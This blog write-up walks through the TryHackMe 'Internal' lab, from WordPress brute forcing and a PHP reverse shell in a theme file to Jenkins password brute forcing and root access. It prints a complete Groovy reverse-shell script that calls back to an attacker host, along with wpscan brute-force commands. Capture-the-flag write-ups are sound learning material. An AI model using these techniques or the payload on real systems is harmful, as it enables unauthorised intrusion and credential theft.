Internal Writeup TryHackMe

Enumeration & Vulnerability Analysis

Nmap Scan

nmap -sV -p- <target>

We do a service version for all the ports and we get 2 open ports on the target.

Directory Busting

The default web page is an ubuntu configuration page.

We use dirb to get subdirectories. One interesting directory that we find is /blog.

/blog directory gives us the following page.

If you click on hello world, we cannot access the page because the link has a doman. So we simply add that to our dns file.

Now, we will be able to access the hello world blog as well from our browser.

Lets click on Entries. It downloads a file.

It downloads a file for us and after opening the file we find something interesting.

We find a potential username that could be used on this wordpress site that is “admin”. We also get the exact version of the wordpress being used.=

We confirm that this username exists on the wordpress site.

So now lets try a really basic attack … which is bruteforcing . We will use wpscan to bruteforce the password for the admin user.

wpscan — url internal.thm/blog — usernames admin — passwords /usr/share/wordlists/rockyou.txt

And we do end up finding a password for the user “admin”. Lets confirm these credentials.

And… it is indeed correct. We have access to the wordpress dashboard. This is our first major discovery.

EXPLOITAITON

We now go to Appearance > Theme Ediot > 404.php and we edit the file and put a reverse php shell.

Now start a netcat listener.

Then visit /wp-content/themes/twentyseventeen/404.php and you should gain a reverse connection.

Now, In the /opt directory, we find a file called wp-save.txt. On displaying the file, we get to know the credentials for a user.

We can now ssh into the target as aubreanna

Get Asad Parkar’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

And we are successful in gaining a user access to the system.

We got the user flag as well.

PRIVILEGE ESCALATION

The automated easiest way

First, we upload an msfvenom payload to the target and get a meterpreter sesison. Lets use the local_exploit_suggester module on Metasploit.

We get the following exploit that can work. Lets run the priv exec exploit.

And boom, the exploit runs successfully and we get a root shell on the target.

The expected method

Going back to the directory where we found our user flag, there is another file called jenkins.txt . This file has an internal network in it. We need to pivot in this network.

Lets now forward the port of internal network to our localhost so we can interact with it.

We can now access the service on our local machine.

And its a jenkins server.

Lets intercept the login post request in burpsuite.

We send the request to the intruder so we can perform a bruteforce attack on the password.

Add a position in the password field.

Lets load a wordlist for the bruteforce. In my case im using the kerbrutepass.txt wordlist which can be found on github. Alternatively you can also use rockyou.txt but for some reason in my case, burpsuite wasnt loading it.

And … we start the attack

The normal response length is 351 bytes ( the response for an incorrect login). We need to look for an odd response length and that could be our password.

We find one entry of spongebob which returns a different length and also one thing to notice is that in the response, the request doesn’t get redirected to /loginerror which confirms that this is our password.

We can now login into jenkins as admin with the password that we found.

Now we need to add this following groovy script in the script console of jenkins to gain a reverse shell.

String host="yourip";
int port=1234;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

We also start a reverse netcat listener. We then run the script on jenkins.

And once we get a connection, in the /opt directory, we get a note.txt which has the root credentials. Now similarly , we can ssh in the machine as root.

Once we have an ssh connection, we get the root.txt flag.